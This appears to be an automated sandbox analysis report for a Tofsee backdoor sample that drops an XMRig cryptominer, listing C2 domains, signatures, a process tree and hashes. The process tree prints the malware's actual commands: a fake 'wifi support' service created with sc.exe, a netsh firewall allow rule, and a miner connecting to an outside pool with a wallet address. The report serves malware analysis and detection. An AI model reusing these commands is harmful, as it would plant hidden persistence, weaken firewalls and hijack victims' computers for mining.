Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2023, 21:57

General

  • Target
    file.exe
  • Size 194KB
  • Sample230122-1tw69shh47
  • SHA256 7b06eebcd73d04e73e153faa4e7f1df0b4108fa9079c90b885a1eee5b0761d68
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4976
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sqmwryuo\
      2⤵
        PID:1196
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qftqjplo.exe" C:\Windows\SysWOW64\sqmwryuo\
        2⤵
          PID:2236
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sqmwryuo binPath= "C:\Windows\SysWOW64\sqmwryuo\qftqjplo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sqmwryuo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sqmwryuo
          2⤵
          • Launches sc.exe
          PID:968
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2020
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4976 -s 1280
          2⤵
          • Program crash
          PID:1912
      • C:\Windows\SysWOW64\sqmwryuo\qftqjplo.exe
        C:\Windows\SysWOW64\sqmwryuo\qftqjplo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4224
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2740
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1796
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4224 -s 516
          2⤵
          • Program crash
          PID:4948
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4976 -ip 4976
        1⤵
          PID:100
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 4224 -ip 4224
          1⤵
            PID:1924

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                qftqjplo.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qftqjplo.exe
                • Size 10.5MB
                • SHA256 93bcf6c735273bffa6a0d7b035121163ca6be0b4a379ebfde4af58dabb8cdcc3
                • MD5 SHA1 SHA512 SSDEEP

                qftqjplo.exe

                • Path C:\Windows\SysWOW64\sqmwryuo\qftqjplo.exe
                • Size 10.5MB
                • SHA256 93bcf6c735273bffa6a0d7b035121163ca6be0b4a379ebfde4af58dabb8cdcc3
                • MD5 SHA1 SHA512 SSDEEP

                memory/1796-177-0x0000000000680000-0x0000000000771000-memory.dmp

                memory/1796-172-0x0000000000680000-0x0000000000771000-memory.dmp

                memory/2740-159-0x0000000000FF0000-0x0000000001000000-memory.dmp

                memory/2740-152-0x0000000000A00000-0x0000000000A15000-memory.dmp

                memory/2740-168-0x0000000001DF0000-0x0000000001DF7000-memory.dmp

                memory/2740-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

                memory/2740-146-0x0000000000A00000-0x0000000000A15000-memory.dmp

                memory/2740-162-0x0000000001DE0000-0x0000000001DE5000-memory.dmp

                memory/2740-150-0x0000000000A00000-0x0000000000A15000-memory.dmp

                memory/2740-156-0x0000000000E90000-0x0000000000E96000-memory.dmp

                memory/2740-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/4224-151-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4224-149-0x0000000002D86000-0x0000000002D99000-memory.dmp

                memory/4976-132-0x0000000002DFB000-0x0000000002E0E000-memory.dmp

                memory/4976-144-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4976-143-0x0000000002DFB000-0x0000000002E0E000-memory.dmp

                memory/4976-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4976-133-0x00000000048F0000-0x0000000004903000-memory.dmp